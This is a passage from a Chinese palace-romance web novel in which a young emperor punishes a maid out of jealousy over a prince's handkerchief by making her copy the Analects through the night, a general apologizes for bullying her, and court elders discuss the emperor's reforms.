妙珠平日里头也有自己的事情要做,又不似她闲得发慌,养兔子于宮女来说确实也不大方便。 施宁煦也不知道陈怀衡这是怎么着了,今晚怎么这么不对劲呢? 她唤他道:“怀衡哥,你怎么了” “没事。”陈怀衡将自己的视线收了回来,不再去问那事,转而又问起了她今夜的来意,“你怎么这个时候来了?是出了什么事?” 施宁煦今夜来,其实也是为了施枕謙。 施枕謙不知道是和陈怀衡在吵些什么架,两个人瞧着谁也不乐意搭理谁,可她自是不大想看到他们之间这样。 施枕谦跟头倔驴一样,她怎么都劝不动,只好来陈怀衡这边。 大家好歹都一起流过血了,有什么不高兴的事说开了就行,这样一直冷着又算是什么事。 她道:“怀衡哥,你和哥哥到底是怎么了?” 陈怀衡道:“你问他去,谁知道他在气些什么。” 那日莫名其妙来问妙珠是不是他的暖床宮女,他回了“是又如何?”,结果人就气起来了,再后来呢,又和妙珠起了一些龃龉,直接气走了。 谁知还是不死心,今日有了机会又偷着去欺负人了。 这么大个人了,尽使些这种没脸没皮的手段。 施宁煦听陈怀衡这样说,便像是施枕谦一个人在生着闷气了,她想了想,旋即道:“那不如明日你和哥哥见一面,咱们问清楚了。” 刚好秋猎的事情也忙得差不多了,往后几日也没什么皇帝的事了。 倒不如就趁着明日的功夫去将事情说开了。 陈怀衡倒无所谓,况说,今日的事他还要去同他算算明白。 偷偷摸摸去欺负他的人算怎么一回事? 两人就这样说好明日再见。 陈怀衡最后看着施宁煦抱着兔子离开。 至于妙珠,她竟将他赏赐的东西随手就送了人 今日她被受了委屈,他便暂不同她追究这事,这账来日再算。 * 第二日,陈怀衡也确实如同昨夜答应过宁煦的那样,去见了施枕谦。 宁煦可怜,她母亲生她的时候难产,父亲后来又死在了战场上,偏偏家里头虎视眈眈的族亲也多,就她和施枕谦两人相依为命。 她那病也才刚刚养好,这才回来京城,陈怀衡自也不想她郁结在心,到时候若是多思多虑,这身子又要不好。 既她出了面,那陈怀衡自也没不依不饶下去。 施宁煦将那两人聚在一个亭子里头,他们两人已经在里头了,正等着陈怀衡过来。 两人在亭中也不知是在说些什么,大概就是施宁煦还在劝他,只是施枕谦的表情瞧着仍旧不怎么好,想来还在怄着气,施宁煦怎么也劝不动他。 陈怀衡自顾自入了座,不顾施枕谦脸色难看。 他直接问施枕谦:“你能不能同我说说,到底是在气些什么?” 既现在都已经坐到这处了,陈怀衡也不是来怄气的,把事情问清楚了先。 以往两人也不是没有闹过,毕竟认识那么几年,又都年少气盛,施枕谦不把陈怀衡当皇帝,陈怀衡也不把施枕谦当臣子,一来二去的,偶尔是会生出些摩擦。 只是,没有哪一回像这次这样严重。 施枕谦脸色不大好看,可这会陈怀衡都已经主动递了个台阶出来,他总不好再死犟下去,他只是瞥开头去不看他,没好气道:“我气什么?你和你那小宮女那样子,我还不能气去了?” “我都懒得说她了。”想起妙珠,施枕谦就想起上回乾清宫她躲在陈怀衡身后做戏,“你到底是看上她什么地方了?她多半就是狐狸精转世勾你来的,你被她蒙蔽了双眼,我难道也不能生气吗?” 他这样做,又对得起宁 煦吗。 今日便是宁煦在这里,他也要说了。 大不了就当他从前瞎了眼,到时候重新再为宁煦择个夫婿便是。 只让施枕谦实在不能理解的是,陈怀衡究竟有哪里能看上那个宫女的地方。 “就因为这个?”陈怀衡蹙眉反问。 施枕谦问道:“难道这还不够吗?” 陈怀衡声音有些冷下来了:“她是什么人,我自己心里面有数,一个宫女罢了,何曾俘获过帝心?又担得起你一声蒙蔽?” 事情的症结原是这个。 陈怀衡又反问他:“再说,你又何必这般不要脸?一个做将军的人,故意尾随宫女,给她这样的难堪施枕谦,说出去你自己也不嫌丢人?” 陈怀衡声音冷下的时候,普通的反问听着就有些像是在质问了。 他继续道:“她做错了什么,我自会罚她,你这样动她,把我当什么了?若再有下回,你我之间的情念便也不用念了。” 既知他对她上心,他却仍故意磋磨于她,是在和妙珠作对又还是在和他作对? 施枕谦还想狡辩些什么,可施宁煦却听出不对劲的地方来了。 她大概听出他们两人口中的那个宫女正是昨晚撞见的妙珠了,难怪昨夜撞见她的时候就觉她的眼睛红得吓人,也不知道是怎么了。不过,那个时候她们二人也并不相熟,所以她也忍住没有去问妙珠是不是受了什么委屈,毕竟戳人的伤处,那就太僭越了。 而今,听到陈怀衡今日所说,才知道原来是自家哥哥动的手。 她面色变了又变,直接抓着施枕谦问道:“怀衡哥说的都是真的?!你尾随妙珠,还欺负她了?!” 施枕谦自知理亏,被施宁煦扯着躲也躲不开,只得认下,他梗着脖子道:“也没怎么着她啊!就拿石头弾了她两下罢了。” 陈怀衡问:“肩膀呢?” 施枕谦就知道妙珠要回去告状,他破罐子破摔,道:“是,我是还踩了她肩膀一脚!那怎么了啊?后来不是陈怀霖来了吗,我就什么都没做了啊” 他还没怎么着她呢,她就屁颠屁颠去告状。 施宁煦听了之后更气,刚想发作,一旁的陈怀衡却先开口。 他眼睛微眯,那双乌黑鎏金的眼睛透着一股寒气:“陈怀霖?” 施枕谦道:“对啊,后来陈怀霖就来多管闲事,我什么都没干,就被他拦住了。怎么着?她告了我欺负她的状,陈怀霖的事情就一句没同你说过?” 不说?不说那就是心里头有鬼喽。 她为什么不和你说陈怀霖的事?你就自己慢慢品去吧。 果不其然,陈怀衡的脸色不可遏制地变得难看。 他忽然想起了昨日妙珠的话。 现在回想起来,原来是那番意味。 本来他还以为她是怕给他惹麻烦才不让他去寻施枕谦,如今结合来看,原是怕他捅出陈怀霖的事啊。 陈怀衡面色冷沉,施枕谦和施宁煦就这样眼睁睁看着他黑了脸。 施宁煦想说些什么,可陈怀衡却蓦地起了身,连声招呼都没有打,就离开了这处。 施宁煦眼看的事情成了这番,气得掐施枕谦,一边掐一边骂:“哥!” 施枕谦躲着她,也不敢还手,只争道:“干嘛啊!干我什么事?” “你到底为什么要这样欺负别人?悄悄跟着别人,拿石头丢她,还踩别人?!你你怎么做这样的事情!” 施大小姐断不能接受哥哥做这样的事。 虽然知道他有些时候混账得不行,可是,这样的事情,也太低劣一些了。 他都二十多了,怎么还这样呢? 她道:“妙珠也就只是个小宫女,小宫女而已,你这样为难她做什么?” 小宫女就算真做了什么,多半也是身不由己,身不由己的事情他何须如此欺侮人呢? 她实在不理解,施枕谦到底有什么必要这样去针对她。 施枕谦被她骂得受不了了,好似自己是做出了什么十恶不赦的事情来了。他也不明白,她有什么好给她说话呢? 施枕谦道:“你可知道她和陈怀衡之间的干系,你不难受?还为她说话?” 施宁煦也开始和陈怀衡一个想法了,她觉得施枕谦实在是有些莫名其妙了。 “你有话不能好好说吗?我到底有什么好难受的?” 施枕谦断断续续道:“你和陈怀衡你们难道不是他不是说要照顾你一辈子吗?他这个年纪也没娶妻,难道又不是在等你吗?” 一辈子的承诺是随口就能许的吗? 陈怀衡说什么拿她当妹妹,难不成真还只是妹妹? 哪里能真是妹妹呢?! 施宁煦明白他的意思了,大小姐气得都开始挠头了。 “哥,怀衡哥的意思是说,他会对我好的”怕这样说下去,施枕谦还要误会,施宁煦说得更明白一些,“他对我好,也对你好,难道他也要娶你不成?再说了,他不娶妻立后,或许是因着还没碰上看过眼的呢。怎么这你也要管啊?” 当初北疆危机,也都是施总督苦苦支撑,而他们的父亲又为陈怀衡而死。他对兄妹二人的情感自是不大相同,不是亲人,胜似亲人。 可他们大抵也只能是亲人的干系,太亲了,那是不可能成夫妻的。 可没想到,施枕谦自己在背地里头暗自揣摩,给他们安上了这么一层关系。 那施宁煦大概也明白了他为什么会要欺负妙珠了。 他大概以为陈怀衡对不起她。 可是,事情根本就不是这样啊! 施宁煦叫施枕谦气得要犯了病,气差点喘不上来,施枕谦被她吓到,赶紧上前为她顺气。 施宁煦好不容易缓过气来,对施枕谦道:“你要同人道歉,哥,你这太过分了。” 爱之适足以害之。 宁煦知道他是为了她着想。 可是。 他实在是太莫名其妙了。 他实在是太无理取闹了。 他太没道理了。 施枕谦见她如此,哪里还敢再犟下去,忙应下:“好好好,哥的错,哥到时候给人赔不是。” “还有”施宁煦道:“就算是真的有事,错的也不会是她,你欺软怕硬。” 陈怀衡他不敢说,尽柿子挑软的捏。 施枕谦怕她又犯病,被她训成狗了也全数应下:“是是是,是哥哥欺软怕硬。” 他拉着施宁煦回去营帐,非要给她找太医来给她看过才肯放心。 施宁煦不肯,催着他给妙珠道歉。 施枕谦这便不能应下了,他道:“方才陈怀衡什么样你没看见啊?我现在过去做些什么?过两日,过两日,我一定去!” “再说,赔礼道歉,我也总不能空手去才是,你容我准备准备。” 施宁煦想了想也是这么个道理,便也没再逼着他去了。 * 今日天气好,午后的阳光十分亮堂,妙珠将昨日洗过的那条帕子挂到了帐窗边晾晒,怕被风吹走,又怕叫旁人瞧见了说不清楚,她便坐在窗边盯着,若是来了人,就赶紧收起来。 不用服侍陈怀衡,妙珠也觉轻松,她坐在椅上,脚无意识地晃动,盯着那条刺着兰草的水蓝巾帕,慢慢出了神。 陈怀霖就像是这条帕子,鸿轩凤翥,如空谷幽兰。 她想着自己的事情,丝毫没有注意到身后的动静。 “在看些什么呢?” 身后突然出现的声音吓了妙珠一跳,她猛地回过头去,就见陈怀衡正阴恻恻地站在身后。 他眼帘低垂,眉眼之间的阴鸷笼罩着全身。 妙珠没想到陈怀衡竟会突然过来这处,想要伸手拿回那条帕子,然而,身后的人长臂一展,先她一步夺走了帕子。 第28章 第二十八章告诉朕,你是不是喜欢他啊…… 陳怀衡手上已经拿到了那条巾帕,放在手上看了两下就知道是从哪里来的物件。 这样的帕子,一看就看得出来是 谁了。 他瞧着好像没生气,只眼睑低敛着,辨不出什么情绪来。 他看了手上的帕子许久,而后竟轻笑出了声。 “陳怀霖的啊?” 这样的陳怀衡妙珠并不陌生,这样的情形下,她当然不敢做声。 妙珠不说话,陳怀衡也不逼她,他径自坐去了一边的椅上。 他又忽地问起了那只兔子的去处,他靠坐在椅背上,问道:“兔子呢?朕昨日给你的兔子呢?” 他不是应当都看到了吗?昨日施宁煦去找他,他应当看到了才是。 妙珠为自己辩解道:“奴婢养不活兔子,施小姐心善,便领回去养了” 陈怀衡看着手上的帕子,又看了看眼前的妙珠,他下颌被绷得锋利异常,好久才从牙关中吐出字来。 “妙珠,你怎么这么厉害?朕赏你的東西,你说弃就弃,一条破帕子,你拿来当了宝。” 他既是赏赐给了她,这兔子是死是活自是全数由她做主,她做些什么不好,非是要将这兔子送了人。 王命不可抗。 她难道不知道吗? 又还是说,知道了也压根就不在意。 陈怀衡觉得自己从前实在是有些錯看她了。 她哪里膽小了? 分明是膽大包天。 撒谎、诱哄、私藏她真是什么都敢做。 就昨天,她拉着他说,不要去找施枕谦的麻烦,那个时候他还真以为她是在为他着想呢,还想着这小蠢货不知道什么时候长了些心出来,他还真去信了她的鬼话。 结果呢,结果到头来想着的是别叫他发现那天陈怀霖出现过。 昨个儿夜里他让手下的人去查,平素里头連骨头都没有的東西还来和他叫板。 只是断没想到,陈怀霖竟連帕子这样的物什也给了她。 陈怀衡回来的时候就在想,该怎么罚她才好呢? 一开始的时候妙珠还是老实的,后来怎么就这样不听话了呢。 大概是他每次都轻拿轻放,才惯得她不知天高地厚,惯得她连他都来哄骗。 这次不行了,这次必须要叫她长些記性才行。 陈怀衡转动着手上的玉扳指,阴沉着臉,漆黑的瞳仁中似燃着一道滔天冥火。 妙珠见他不说话,怕得更厉害,她知道,他肯定是知道了些什么的。 昨日发生的事情,陈怀衡一定还是知道了,他知道了陈怀霖和她的事。 妙珠知道自己是惹他生气了,可是她实在不明白,到底陈怀衡为什么要这样生气? 陈怀衡大抵是在想着怎么罚她,他不说话,妙珠却自己开口了,她看着陈怀衡道:“如果那日没有协王殿下,奴婢会被施将军欺负死的” 如果不是因为陈怀霖,妙珠不知道会被施枕谦怎么磋磨。 陈怀衡没想到她竟还敢自己开口去提那事,他掀起眼皮,看向了妙珠。 黑眸凌厉,溢着寒意。 有些人天生就是当皇帝的料,就这样轻飘飘地扫了一眼过来,就让想要把头磕破,求得宽恕。 妙珠被他看得腿脚打颤,硬撑着没跪下,她还在说着:“奴婢真的很感激殿下却也只是感激他救了奴婢而已,这条帕子奴婢不敢亵渎,洗净了以后会还给殿下的。” 都到这样的地步了,若是说什么心思都没有,陈怀衡定也是不信的。 陈怀衡嗤笑一声,戏谑道:“妙珠,以为所有人都和你一样蠢吗?” 感激? 感激的话要躲躲藏藏不敢说,感激的话要看着帕子发痴? 没什么见不得人的事情也不用遮遮掩掩。 既遮遮掩掩那就是有见不得人的事情。 现在还说感激。 真拿他当狗哄啊。 妙珠紧抿着唇不说话,脑袋低了回去,不敢再看陈怀衡了。 她骗了他,身上还留着陈怀霖的帕子。 他不会再信她了的,他大概觉得她又是在做些背主的事了。 她说什么应当都不顶用,他要打要杀,她也没法子了。 妙珠僵在原地等待着自己的宣判,冷汗不自觉从额间脱落,臉色也开始发白,这时,她听到陈怀衡唤她。 “过来。” 简单的两个字不含任何的情绪。 妙珠不敢拒绝,顺从地走到了他的身边。 不敢抬眼看他,脑袋都快钻进了胸口里面。才挪着步子到了他的面前,就被一股力气带到了他的怀中,陈怀衡身上那股极具侵略性的龙涎香让妙珠更喘不上气来。 身上颤栗得更厉害了一些。 陈怀衡感受到她的发抖,感受到她的恐惧,她身上的情绪,透过她的身体,传递到了他的身上。 他知道她在害怕。 可是,难道他不曾警告过她吗?难道他对她还不算纵容吗? 他是她的主子,可她心中竟敢存了别的心思? 陈怀衡不明白,一个卑贱的宫女为什么敢这样三心二意。 他是九五之尊,她难道还不够满意吗? 想到这里,他轻笑了一声,嘴角勾起了一抹渗人的弧度,他的手指爬上了妙珠的脊背,有一下没一下的摩挲着。 妙珠被他这样的举动弄得脊背生寒,疑心他是想要把她的脊髓掏出,即便隔着衣料都能感受到他指骨透出的寒气。 她听到陈怀衡问她。 “妙珠,你喜欢他?” “告诉朕,你是不是喜欢他啊?” 妙珠被他逼问得快要喘不上气来,最后实在忍不住这种气压,捂着臉呜咽出了声。 “没有喜欢,怎么可能喜欢呢。” 说真的,与其说是不喜欢,倒不如说是不敢喜欢。 他就像是天上的明月,风清月皎,她又怎么敢去肖想他呢? 陈怀衡捏在她脊背上的手好像都用力了些,他道:“是啊,是,你说说你啊,哪里来的膽子去对他心怀不轨呢?他呢?你同朕说说,他为什么来帮你呢,你们到底都哪到哪了啊。” 伤人的话就像是利刃一样扎进了妙珠的血肉。 妙珠被陈怀衡质问得哑口无言,对啊,她哪里来的胆子对陈怀霖心怀不轨呢? 难道她不知道自己是什么样的人吗。 可她隐隐约约觉得不该是这样的,这些天她跟着卿云讀了些书,她隐隐约约記得,书上不是这样写的。 她不知道是哪里来的胆子,竟去反驳了陈怀衡:“孔夫子不是说‘仁者爱人’吗?殿下帮奴婢,因他是个好人,我们之间什么都没有,奴婢更没有背叛陛下。殿下殿下是个好人,所以奴婢对他心生感激,更不敢想些其他的東西。” 陈怀衡听妙珠抽抽噎噎说完这一串话,竟默声许久。 殿内陷入一片死寂。 上回是什么“以直报怨”,这回是什么“仁者爱人”,让她讀书,到头来还真能记得住这么些東西。 现下是懂是非了,知道什么谁好谁坏了,马上就来同他犟嘴了。 陈怀衡直接道:“往后不要再讀了。” 既讀了书后就来同他呛声,那倒不要读了。 读了书后看陈怀霖更跟看书中的君子圣人一般,那就不要读了。 妙珠不知道又和书有什么干系,下意识问道:“为什么?” “礼义廉恥”陈怀衡顿了顿,看着她那双哭红的眼睛道:“很多人都维持不起。” 礼义廉恥。 很多人都维持不起。 你,维持得起吗? 妙珠明白陈怀衡的意思了。 像她这样的人,要什么廉耻呢? 越是清醒,越是苦痛。 读了书,明白了一些是非,除了让她痛苦,又还能有什么好处呢 。 即便明白了陈怀衡的意思,可妙珠还是有些不肯,她道:“可是从前是陛下让奴婢去读的书。” 是他让她读书在先的。 既维持不起,先前为何又要让她去读呢? “不肯?”陈怀衡呵笑,道:“不肯也行,那你去抄写十遍论語,抄下来了,朕准你往后再读。” 十遍 一遍都能叫手抄断,他张口就是十遍。 陈怀衡猜定妙珠不会应下。 她何必去为了这么个东西折腾得自己不上不下? 她何必为了这么个东西让自己自讨苦吃? 她从来都是最识时务的。 她不会答应的。 可是,妙珠不知道是怎么回事,就非在这件事情上去和陈怀衡犯起了轴。 她看着陈怀衡,竟道:“好。” 陈怀衡听她应下,愣了片刻,可反应过后,很快勾唇冷笑:“好啊,跟朕犟脾气是吧” 他倒是想看看,她这骨气是生出了几分,是能和他犟到什么时候去。 说着,他就起身,将妙珠拽去了自己的营帐处。 他把她按到了一旁的桌前,给她丢了一套笔墨纸砚,又拿了一本论語放她面前,他对她道:“抄,就在这里,朕看着你抄,什么时候抄完,什么时候才能吃饭,什么时候才能出去。” 妙珠不吭声,自己给自己磨好了墨就开始动笔。 陈怀衡直到现在也还在等她告饶。 然而,她仍是一声不吭。 见她此举,他更咬牙切齿,拂袖坐去一边。 营帐之中安静,从早到晚都只有妙珠抄写的声音,陈怀衡坐在主座之上,视线阴郁地看着下位的妙珠。 从天亮一直到天黑,那个蠢宫女一直坐在那里抄书,期间卿云还进来点了灯火,传了膳,她看到两人之间那架势,就知道他们是又闹了不痛快。 只是不知道是什么不痛快,要通过抄书才能解决。 卿云见妙珠一直快抄到了子时,想要为她求情,说些好话。 然而都还不曾开口,就先被陈怀衡那冷冷的视线打断,后来,又被他赶出了帐中。 妙珠就这样一直坐在桌案前,从午时抄到了子时,没有喝过一口水,没有吃过一口饭,屁股都没抬起来一下,手已经快抄断了,眼睛抄得发干发痒,面前的字也都快看不清楚了。 可是,她还没能来得及读完一整遍论語,有些生僻的字也不大认识,这样一来,抄得便更慢一些了。 就这样磨到子时,每当她翻过一页总以为下一页就是最后一面的时候,可底下仍是翻不到头。 到了最后竟连一遍也不曾抄完。 陈怀衡用这种方式,又一次直白地告诉了她,礼义廉耻,确实是个很难维持的东西。 你连十遍论语都抄不下来,你想维持什么? 可是,还是不大甘心啊。 或许是在和陈怀衡怄气,又或许是在和自己怄气,妙珠怎么都不停手,一直到了后头,手开始发抖发颤,眼睛都已干涩得流泪,也仍旧不肯停手。 烛火惺忪的营帐中,女子的背影被投在了帐上,那瘦削的脊背都快薄得像纸一样。 陈怀衡从来没想过,那张薄薄的背,竟能硬挺成这幅样子。 她抄了多久,他就看了多久,看得自己的眼睛也不知道是从什么时候变得猩红。 两人就这样,陷入了一阵持久的对峙。 不知又过了多久,是陈怀衡先起了身。 他看着像是气极,走到桌边抽走了她手上的墨笔。 他折断了那只笔,丢到了地上。 “手若不要了,朕帮你砍了也行。” 妙珠听到他的话,竟也懒得去说些求饶的话了。 她有些太累了,嘴巴干,肚子饿,手好疼,人又好困 她觉得自己真的已经快没人样了。 身子和心,全都丢了样。 陈怀衡的声音嗡嗡嗡的,妙珠不想再听了,破罐子破摔,趴到了桌子上去。 可是下一刻,却又被陈怀衡扯了起来。 妙珠睁开眼,眼睛模模糊糊的,只能隐约看到陈怀衡在说些什么,渣渣呜呜的,听了只觉耳朵都好吵。 她疲惫至极不想再争,忽地开了口。 “錯了。” 陈怀衡见她突然开口说话,声音也戛然而止,他问她:“在说些什么东西?” 妙珠道:“陛下。奴婢错了。” 她确实不该读书的,一开始就不该的,她根本就用不着那些东西。 其实,脸面这东西,你生下的时候有,那大概这辈子也丢不掉,你生下来没有,怎么也都得不到了。 难道她不知道吗?难道她不能清楚吗?有的人不用抄十遍论语就可以维持自己的脸面,可她呢?就算是真抄了十遍论语,却也不见得能维持。 陈怀衡被妙珠突如其来的低头弄得沉默。 她和他犟了快有一天,吃尽苦头以后,终于肯认错。 陈怀衡以为,她这是终于想明白了。 行,既她低头了,他也不是那不依不饶的性子。 他将摇摇欲坠的妙珠抱起了身,看着她的唇干得起皮,又往她的嘴里喂了两盏的水下去。 她脸色苍白得不行,陈怀衡又捏了捏她的脸,问她:“饿不饿?” 妙珠没力气了,靠在他的胸膛上,了不可见地点了点头。 陈怀衡又让卿云重新上了遍膳食上来。 陈怀衡抱着妙珠,一口一口地往她的嘴巴里面喂,妙珠累得狠了,一口要吃个老半天,可陈怀衡就像是寻到了什么趣事一般,也不知道是从哪里来的耐心,就那样不厌其烦地小口喂着她。 待她吃完了后,陈怀衡给她擦了嘴,还不忘记给人做起思想教育。 他问她:“现在知道错了?” 妙珠的手一直到现在都还疼着,听到陈怀衡的话后,终是没再犟下去了,点了点头。 见她温顺下来,陈怀衡的语气也柔下去一些了,他道:“何必呢,早些低了头,朕还能真叫你抄得断手?” 妙珠道:“是奴婢不知好歹了。” 陈怀衡托着她的臀,将人抱得更紧一些了,他道:“那些东西,对你来说只是伤神,你只需好好的服侍着朕就够了,至于陈怀霖” 重新提起陈怀霖,他的手不可遏制地用了些力。 妙珠知道错了,不敢再提陈怀霖,更怕从陈怀衡口中又听到那些伤人的话。 她大着胆子抱上了陈怀衡的脖颈,她道:“陛下,奴婢往后好好服侍陛下,不敢有其他的想法。” 像是怕陈怀衡不信,妙珠又补充道:“奴婢不读书了不想知道谁是仁者,谁是善人,奴婢只跟在陛下的身边,知道陛下是天就够了。” 这是陈怀衡头一次被妙珠主动抱着。 那两条手臂,就那样揽上了他的脖子,突兀又古怪。 烛火葳蕤,灯火荡漾的夜晚,陈怀衡被她的双臂环着,感受着她近在咫尺的呼吸,纤弱的手臂竟好像让他都快喘不上气来了。他只是微微低头,就将妙珠的一切尽收眼底,她那些毛茸茸的头发落在耳际,白皙的皮肤此刻看着尤其脆弱,明亮的烛火下,不曾被衣服裹挟着、裸露的肌肤似泛着莹润。 不知道她是哪里来的胆子,竟敢主动来抱他了。 不过,陈怀衡竟格外受用。 一开始的时候是怎么来着的?陈怀衡想着这次一定要狠狠地罚她,可是后来不知道怎么的,就弄成了这幅样子。 他的手指蹭着她脖间肌肤,视线落在桌案上的帕子上,他道:“你若剪了这条帕子,这次的事朕就暂不同你追究了。” 第29章 第二十九章他就对她好那么一点点就够…… 妙珠听后,没什么神情,只是道:“当初说好要归还殿下的,既这样,陛下帮奴婢传达一声吧,奴婢手笨,弄坏了他的帕子。” 说完这话,就摸来了桌上的帕子和已经备好的剪子,把这条帕子剪成了两半,丢到了地上。 陈懷衡面上瞧不出神情,也不知是满意了还是不满意。 末了,只是看着妙珠沉声道:“你若是再敢有其他心思朕 不会这样輕易就放过你了。” “不敢了。” “再不敢了。” 陈懷衡说得都是对的。 在他面前,她要那些東西又做什么? 当他一人的奴婢也好,床榻上消遣的玩样也好,要臉面要廉耻做些什么呢? 她若是早些认错,也不用抄了那么久的书,也不用受这么久的苦,礼这样的東西于她而言,比天还高,而陈懷霖这样的人于她而言,不可向迩。 那日的事情就那样被揭了过去,两人都不再提起过。 后来,卿云怕妙珠再和陈懷衡起了什么不痛快,也曾劝过妙珠几句。 她说:“陛下脾气莫测,你平日跟在他的身边,得小心些,别总想着和他闹脾气,和主子闹了脾气,吃亏的从来都只是自己啊。” 妙珠也知卿云都是为了她好,认真应下:“我知道了的,卿云姐,前段时日,是我拧巴了,没能想明白,现在都看明白了。” 从那日以后,妙珠瞧着是比从前更乖顺了一些,当真满心满眼都是自家的主子陛下了。 不知怎地,先前欺负过妙珠的施枕谦竟还来同她道了歉。 那个时候她正跟在陈怀衡的身边研墨,施枕谦提着一个盒子就进来了。 妙珠见到他下意识垂了眼不敢再看。 不知道他今日来又是做些什么。 她没敢看他,老老实实待去了陈怀衡的身后躲着。 施枕谦自是将她的动作看在了眼里,心里暗嗤她胆小如鼠。 好歹是没忘记自己今日的来意,也不曾在明面上说些什么,他直接将手上提着的東西放到了桌上。 陈怀衡抬眼问他:“什么東西?” 施枕谦拉不下臉来,同一婢女道歉,说出去也太丢人了些。 可是施寧煦那头又逼着他,若是不好好说,叫她知道了后难免又要生气,这样想着,他最后还是硬着头皮道:“上回是我做错了事,不该用那样的下作手段欺负人,这里头是支玉簪,寧煦挑的,你就当是寧煦送你的。” 男子给女子送什么好像都不大合适,况说,还有陈怀衡盯着 倒不如就当是寧煦送给她的,左右都是借个赔礼道歉的名头。 妙珠听到施枕谦同她道歉,心中竟也没有多么开心,反倒有些惶恐,她低着头道:“将军严重了,奴婢受不住。” 施枕谦忍不住皱眉。 她这又是唱哪一出? 前些时日还敢和他耍些心机,说些呛人的话,怎么不过几日,就受不住了? 莫非又是在做可怜? 他道:“给你你收下就是了,上回被我拿石头砸了以后,现在是不疼了?有什么好受不住的” 妙珠不敢要,还是看向陈怀衡。 直到陈怀衡把东西从桌上拿过,递给了她,妙珠才終于伸手去接。 陈怀衡道:“既他给你道歉,收了就是,打开看看喜不喜欢?” 妙珠听了陈怀衡的话,打开了盒子。 是一只通体莹润的白玉簪子,便是妙珠都能看出这物件的金贵稀罕。 她还是不大想要施枕谦的东西,即便是宁煦给的也不想要了,她嗫嚅道:“这太贵重了些” 陈怀衡道:“他既给你赔礼,你收好就是。” 妙珠闻此,也終再推脱不下去了。 这件事情,也算是过去了。 好像没办法,不能过去,也得过去。 妙珠既不追究,那施枕谦也算功成身退,回去后能有个交代了。 既然上回的事情他和施宁煦说明白了,那也不过是个误会,施枕谦自己心照不宣地就将那事情掀过去,陈怀衡也不是那种得了点理就死抓着不放的人,两人也不再提起那些事。 施枕谦終觉有些尴尬,也不好意思在这里待多久,办完了事,又和陈怀衡随便聊了几句便从这离开了。 施枕谦走后,妙珠还看着手上的簪子出神,一直到陈怀衡出声。 他问她:“喜欢吗?” 妙珠说不上喜欢还是不喜欢,最后只是吐出一句:“施小姐是个很好的人。” 听施枕谦方才那话的意思,今日他来道歉多半也是因为施宁煦。 想来是上回的事情叫她知道了。 陈怀衡不做反驳,道:“宁煦是个明事理的人,比他哥哥年纪小,但懂事很多。” 明事理。 妙珠笑了笑,真切赞同道:“施小姐是个明事理的好人。” * 这场秋猎,除了一开始的那两日陈怀衡露了几面,到了后来便没再怎么出去过,大半的时日都在御营之中。 不过,对于众人来说这自然算是好事,见不到帝王,便也不用时时刻刻担心言行出错,玩起来便也更放纵一些。 况又说陈怀衡业精于勤,宵旰焦劳,对他们这些做臣子的来说,应当欣慰才是。 前一任的帝王,也就是陈怀衡那已经故去的父皇,后世称他仁宗,他虽是个仁慈的君主,可在其他的地方,几乎没有任何可取之处,宠幸宦臣,而且在位期间无所建树,北边蒙古虎视眈眈,西边鞑靼狼顾鸱跱,人至中年,更为昏聩 相比仁宗,陈怀衡好出太多太多了。 夕阳的暖光晕染了山川大地,这日傍晚,年过半百的首輔大人陸鸿仪前去寻了太皇太后。 今年那蒙古王公过来,除了送了些牛羊等物之外,还連带着进贡了不少的珠宝和稀罕物件,陈怀衡那边让人送了一些过来给太皇太后。 陸鸿仪来的时候,她正瞧着一件紫羔皮,这件皮在大昭是件稀罕物,现在不过黄昏时候,帐中就已经点起了灯,借着那烛火的光芒,能见得那块皮子隐隐透出霞光。 一直到陸鸿仪朝她见了个礼,太皇太后才终于收回了视线,她挥了挥手,示意人退下,而后她看向陸鸿仪浅笑道:“坐吧,阁揆。” 陆鸿仪依言坐下。 他见她方才手上看着的东西,出言问道:“娘娘方才是在看蒙古那边进贡过来的东西?” “不错,俺答汗的人这回有心了,送些东西刚好赶上时令。” 现下是深秋,再过些时日入了冬,正正好就能穿上那条紫羔皮。 陆鸿仪道:“是咱陛下有本事啊,不然,哪能有这么些好处啊。” 陆鸿仪和太皇太后也算是旧识,当初前一任的林首輔出事下台之后,还是太皇太后推着陆鸿仪上了首輔的位置。 那个时候,陈怀衡才十五岁吧,她在朝中也有那么些威望。 现在陈怀衡越来越大,她也越来越管不住他了,朝中的事,也快插手不上。 听到陆鸿仪的话,太皇太后只是笑了一声,道:“是,皇帝是个有本事的,比他父皇厉害,比他皇兄还有本事些,你看看,这才十八呢,朝中上下,家国家外,都理得有条不紊。” 一开始的时候,几个后辈里面,独陈怀衡最不像样,仁宗当初卧病在榻,朝中又不曾立太子,那便是说,余下的四个皇子中,谁都有可能是天子。那时候,底下的皇子们爭得爭,抢得抢,一个劲地都盯着那个位置,就陈怀衡不争不抢,大抵也是知道自己就算再怎么争,那也争不过陈怀霖。 陈怀霖是最大的孩子,还出自皇贵妃膝下,再怎么样,也几人之中身份最显荣之人。 可反观陈怀衡呢,资质平庸,十岁小儿,不过碌碌无奇之辈。 或许是当上皇帝之后,帝王在文华殿中读书学习,而老师们又都是整个大昭顶尖的人,这等情形下,顽石想来也能成美玉。 陆鸿仪道:“那还是娘娘教得好。” 当初她辅佐在陈怀衡的身边,怎么也都算是尽心尽力,就連他的学问也不曾放过,再提起他的功绩,那怎么着也忘不掉她才是。 可即便是被哄着,太皇太后的臉上却也不见得什么明显的喜色,陆鸿仪对她的称赞甚至还不如那条紫羔皮来的叫人高兴。 她顺着陆鸿仪的话继续说下去:“你说我教得好,可他是个有主意的,我说的话,他从不曾听,那我又哪里有教得他些什么呢?” 说到这里,她又顿了顿,而后淡声道:“这段时日不是还说想着去推什么新政呢?” 陆鸿仪叹了口气,道:“先前是有说过这事,朝中也为这事闹得厉害。” 太皇太后沉默良久,手上不紧不慢地碾着佛珠,她看着陆鸿仪道:“先前他那老师也曾提过新政,只可惜啊,后来犯了事,被抄了家,弃市午门,新政也就只好先被搁了。你说,现在皇帝突然又提新政,是早就想着呢,还是一时兴起?” 两人也都几十年的老相识了,陆鸿仪自然明白她那话是什么意思。 陈怀衡这时候突然提出新政,是一时候兴起,还是在前些年的时候就已经筹谋打算了。 若是其他的人倒也还好说,可陈怀衡这人实在不难叫人去多想。 当初他北伐亲征,甚至没人想过他会大获全胜。 可是结局呢? 他赢了。 在所有人都没想到他会赢的情况下赢了。 在此之前,陈怀衡在朝堂上甚至插不上嘴,一些大事小事都是通过太皇太后和首辅来决定。 帝王一般来说是天底下最有权的人,可陈怀衡并不是。 